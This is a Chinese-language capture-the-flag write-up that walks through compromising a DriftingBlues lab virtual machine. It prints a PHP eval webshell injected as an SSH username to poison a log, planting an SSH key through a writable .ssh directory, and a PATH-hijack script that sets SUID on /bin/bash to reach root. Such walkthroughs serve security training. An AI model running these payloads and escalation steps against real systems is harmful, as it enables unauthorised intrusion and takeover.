信息搜集

主机扫描

arp-scan -l

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.254.26 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 08:14 EDT
Nmap scan report for 192.168.254.26
Host is up (0.00043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:31:6F:4B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100 -b 403,404 -x php,txt,jpg,html,txt,zip  -u http://192.168.254.26 
===============================================================

/index.html           (Status: 200) [Size: 1373]
/privacy              (Status: 301) [Size: 318] [--> http://192.168.254.26/privacy/]
/robots.txt           (Status: 200) [Size: 37]
/tickets.html         (Status: 200) [Size: 347]
/drupal               (Status: 301) [Size: 317] [--> http://192.168.254.26/drupal/]
/secret               (Status: 301) [Size: 317] [--> http://192.168.254.26/secret/]
/wp-admin             (Status: 301) [Size: 319] [--> http://192.168.254.26/wp-admin/]
/phpmyadmin           (Status: 301) [Size: 321] [--> http://192.168.254.26/phpmyadmin/]

80端口

  • /robots.txt

发现一个路径/littlequeenofspades.html

在源码里发现一串base64,解码又是一个路径/adminsfixit.php

访问后发现这是一个ssh的log日志,意味着我们输入什么,就可以利用这个日志,写入一句话木马,从而获取shell

拿取shell

通过学习,发现ssh登录的用户名可以写入一句话木马,但是我写入无法执行,说包含特殊字符,通过看小白师傅的wp发现可以使用msf(牛,然后写入一句话木马

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 192.168.254.26
rhost => 192.168.254.26
msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php @eval($_POST['a']);?>
username => <?php @eval($_POST[a]);?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 11111
password => 11111
msf6 auxiliary(scanner/ssh/ssh_login) > run

回过头来我们再次查看日志,发现存在我们注入的语句,空用户名就是因为我们写的是php语句被解析了

通过蚁剑,我们获取shell

发现有个用户,robertj,通过信息搜集,发现没有什么能提权的方式,但通过.ssh我们可以利用公钥私钥来登录,经典的方式,为什么利用.ssh可以,其实文件权限也给了提示,就是.ssh的文件权限是707,意味着我们可以写入,于是我们自己生成一对密钥对,上传公钥,私钥用来登录

ssh-keygen -t rsa -b 4096 -f /root/drifting/id_rsa
mv id_rsa.pub authorized_keys 
python3 -m http.server
chmod 600 id_rsa  
ssh -i id_rsa robertj@192.168.254.26

提权

  1. sudo -l 无法使用命令
  2. find / -perm -u=s -type f 2>/dev/null

找到一个特殊命令

/usr/bin/getinfo

执行一下,发现这个命令不过是ip,uname -a ,cat /etc/hosts的命令的总和,明白了,于是我可以伪造一个ip命令,通过路径劫持在tmp目录下写一个假的ip命令,然后执行

robertj@driftingblues:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
robertj@driftingblues:/tmp$ touch ip
robertj@driftingblues:/tmp$ echo "chmod +x /bin/bash" > ip
robertj@driftingblues:/tmp$ cat ip
chmod +x /bin/bash
robertj@driftingblues:/tmp$ echo "chmod +s /bin/bash" > ip
robertj@driftingblues:/tmp$ chmod +x ip
robertj@driftingblues:/tmp$ export PATH=/tmp:$PATH
robertj@driftingblues:/tmp$ echo $path
robertj@driftingblues:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
/usr/bin/getinfo

然后再次执行getinfo命令,他就执行的不是/bin/ip,而是/tmp/ip

这里也可以使用cat命令,一样的

然后直接查看是否执行成功
robertj@driftingblues:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 17  2019 /bin/bash
确实赋予了s权限
obertj@driftingblues:/tmp$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cat root.txt
dfb7f604a22928afba370d819b35ec83

成功拿到root